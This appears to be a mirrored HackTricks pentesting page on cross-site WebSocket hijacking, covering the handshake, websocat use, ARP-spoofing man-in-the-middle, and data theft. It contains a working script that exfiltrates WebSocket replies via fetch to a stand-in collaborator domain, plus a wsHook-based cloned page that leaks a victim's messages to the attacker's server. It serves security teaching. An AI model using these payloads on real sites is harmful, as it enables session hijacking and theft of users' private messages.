mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
147 lines
6.2 KiB
Markdown
147 lines
6.2 KiB
Markdown
# Cross-site WebSocket hijacking \(CSWSH\)
|
|
|
|
## What are WebSockets
|
|
|
|
WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.
|
|
WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data.
|
|
|
|
## How are WebSocket connections established?
|
|
|
|
WebSocket connections are normally created using client-side JavaScript like the following:
|
|
|
|
```javascript
|
|
var ws = new WebSocket("wss://normal-website.com/chat");
|
|
```
|
|
|
|
The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection.
|
|
|
|
To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
|
|
|
|
```javascript
|
|
GET /chat HTTP/1.1
|
|
Host: normal-website.com
|
|
Sec-WebSocket-Version: 13
|
|
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
|
Connection: keep-alive, Upgrade
|
|
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
|
Upgrade: websocket
|
|
```
|
|
|
|
If the server accepts the connection, it returns a WebSocket handshake response like the following:
|
|
|
|
```javascript
|
|
HTTP/1.1 101 Switching Protocols
|
|
Connection: Upgrade
|
|
Upgrade: websocket
|
|
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|
```
|
|
|
|
At this point, the network connection remains open and can be used to send WebSocket messages in either direction.
|
|
|
|
**Note**
|
|
|
|
Several **features** of the WebSocket **handshake** messages are worth noting:
|
|
|
|
* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**.
|
|
* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`.
|
|
* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request.
|
|
* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
|
|
|
|
The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** \(_It's not a CSRF token_\).
|
|
|
|
### Linux console
|
|
|
|
You can use `websocat` to stablish a raw connection with a websocket.
|
|
|
|
```bash
|
|
websocat --insecure wss://10.10.10.10:8000 -v
|
|
```
|
|
|
|
Or to create a websocat server:
|
|
|
|
```bash
|
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|
```
|
|
|
|
## MitM websocket connections
|
|
|
|
If you find that clients are connection to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../pentesting/pentesting-network/#arp-spoofing) to perform a MitM attack between the client and the server.
|
|
Once the client is trying to connect to you you can use:
|
|
|
|
```bash
|
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|
```
|
|
|
|
## Cross-site WebSocket hijacking \(CSWSH\)
|
|
|
|
Also known as _cross-origin WebSocket hijacking_.
|
|
**It is a** [**Cross-Site Request Forgery \(CSRF\)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.**
|
|
|
|
It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.
|
|
An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application.
|
|
|
|
### Simple Attack
|
|
|
|
This attack allows you to make the client connect to websocket server and send some predefined value.
|
|
|
|
```markup
|
|
<script>
|
|
websocket = new WebSocket('wss://your-websocket-URL')
|
|
websocket.onopen = start
|
|
websocket.onmessage = handleReply
|
|
function start(event) {
|
|
websocket.send("READY"); //Send the message to retreive confidential information
|
|
}
|
|
function handleReply(event) {
|
|
//Exfiltrate the confidential information to attackers server
|
|
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|
}
|
|
</script>
|
|
```
|
|
|
|
Usually this will be useless as what you want is to get the information the real user is sending and the responses.
|
|
|
|
### Stealing data from user
|
|
|
|
Copy the web application you want to impersonate \(the .html files for example\) and inside the script where the websocket communication is occurring add this code:
|
|
|
|
```javascript
|
|
//This is the script tag to load the websocket hooker
|
|
<script src='wsHook.js'></script>
|
|
|
|
//These are the functions that are gonig to be executed before a message
|
|
//is sent by the client or received from the server
|
|
//These code must be between some <script> tags or inside a .js file
|
|
wsHook.before = function(data, url) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "client_msg?m="+data, true);
|
|
xhttp.send();
|
|
}
|
|
wsHook.after = function(messageEvent, url, wsObject) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
|
xhttp.send();
|
|
return messageEvent;
|
|
}
|
|
```
|
|
|
|
Now download the `wsHook.js` file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) and **save it inside the folder with the web files**.
|
|
Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:
|
|
|
|
```javascript
|
|
sudo python3 -m http.server 80
|
|
```
|
|
|
|
## Other vulnerabilities
|
|
|
|
As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**
|
|
|
|
## References
|
|
|
|
{% embed url="https://portswigger.net/web-security/websockets\#intercepting-and-modifying-websocket-messages" %}
|
|
|
|
\*\*\*\*
|
|
|
|
|
|
|
|
|